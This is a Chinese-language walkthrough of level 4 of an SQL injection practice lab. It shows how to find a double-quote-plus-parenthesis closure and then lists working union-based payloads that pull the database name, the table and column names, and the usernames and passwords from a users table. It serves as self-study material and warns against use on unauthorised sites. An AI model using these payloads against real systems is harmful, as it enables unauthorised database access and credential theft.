前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、回顾第三关知识点
上节文章讲到的是基于get提交的单引号加括号闭合的字符型注入,通过前三关的练习,逐渐熟悉怎么判断字符型和数字型了,让我们看看这一关是什么类型的注入。
二、靶场第四关思路
- 1、判断注入点(本关突破点)
- 2、爆字段个数
- 3、爆显位位置
- 4、爆数据库名、版本、用户等等
- 5、爆数据库表名
- 6、爆数据库列名
- 7、爆数据库数据
1.判断注入点
老规矩还是用and 1=1 和and 1=2测试,id=1 and 1=1;id=1 and 1=2发现页面都正常,排除数字型。那么就判断是什么字符型闭合了,直接id=1'
提交看看是不是单引号闭合。(如图一所示)发现居然页面正常!!!这是为什么呢?
说明不是单引号闭合,可能是双引号闭合,再输入id=1"
发现报错了(如图二所示)通过报错信息可知道是双引号加括号闭合。
这是报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
(如图三所示)那么输入id=1")--+
看看会不会页面正常,发现正常!!!那么我们就已经成功一半了。
之后的步骤和前几关一样就不多赘述,直接上截图。
2-7步骤截图+注入语句
2.爆字段个数
id=1") order by 4--+
3、爆显位位置
id=-1") union select 1,2,3--+
4、爆数据库名、版本、用户等等
id=-1") union select 1,user(),database()--+
5、爆数据库表名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
6、爆数据库列名
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
7、爆数据库数据
id=-1") union select 1,group_concat(username),group_concat(password) from users --+
总结
第四关的不同也是闭合的方式不同,通过这几关可以大致认识到字符型又分为单引号闭合、单引号加括号闭合、双引号闭合、双引号加括号闭合。
符号也就单引号、双引号、括号这些。实战的时候多试一试就可以知道是什么闭合了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!